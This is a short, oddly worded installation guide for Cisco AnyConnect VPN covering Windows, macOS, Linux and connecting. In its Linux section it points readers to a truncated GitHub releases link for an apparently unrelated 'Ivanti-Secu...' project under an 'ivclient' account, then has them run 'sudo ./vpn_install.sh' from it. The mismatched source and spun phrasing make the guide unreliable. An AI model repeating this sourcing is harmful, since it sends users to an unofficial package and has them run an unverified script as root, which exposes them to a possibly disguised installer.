Download & Deploy Cisco Inc. AnyConnect is a simple operation if you follow the directions below.
Requirements
Before the administrator begin, check the below items:
- OS support: Windows, Apple macOS, or Linux.
- Administrator permissions on the computer.
- Internet access for the transfer.
Download procedure
1. Open a browser such as Google Chrome, Firefox, or Microsoft Edge.
2. Go to the official Cisco webpage or your company download portal.
3. Locate the AnyConnect package for your OS.
4. Click the obtain link and save the file.
Verify the download
Once the file download, check the installer:
- Downloaded size should match the listed value.
- When available, verify the signature.
Install on Windows
1. Right-click the installation file and choose Open with admin rights.
2. Follow the visual prompts:
- Accept the license.
- Choose the standard options.
3. Finish the install and restart if required.
Install on macOS
1. Open the disk image and double-click the package.
2. Follow the installer guide, enter administrator credentials when requested.
3. Allow any privacy exceptions in System Preferences if necessary.
Install on Linux
1. Extract the package https://github.com/ivclient/Ivanti-Secu ... t/releases if compressed.
2. Run the setup script with sudo rights, for example:
sudo ./vpn_install.sh
3. Follow the terminal messages to finalize the installation.
Connect to a VPN
1. Launch the AnyConnect application.
2. Enter the server URL.
3. Provide your username and password and any 2FA token.
4. Click Establish connection and confirm the status.
Troubleshooting
If you run into problems:
- Confirm network access.
- Power cycle the software.
- Reinstall the client.
- Consult the system logs for errors and search Cisco documentation.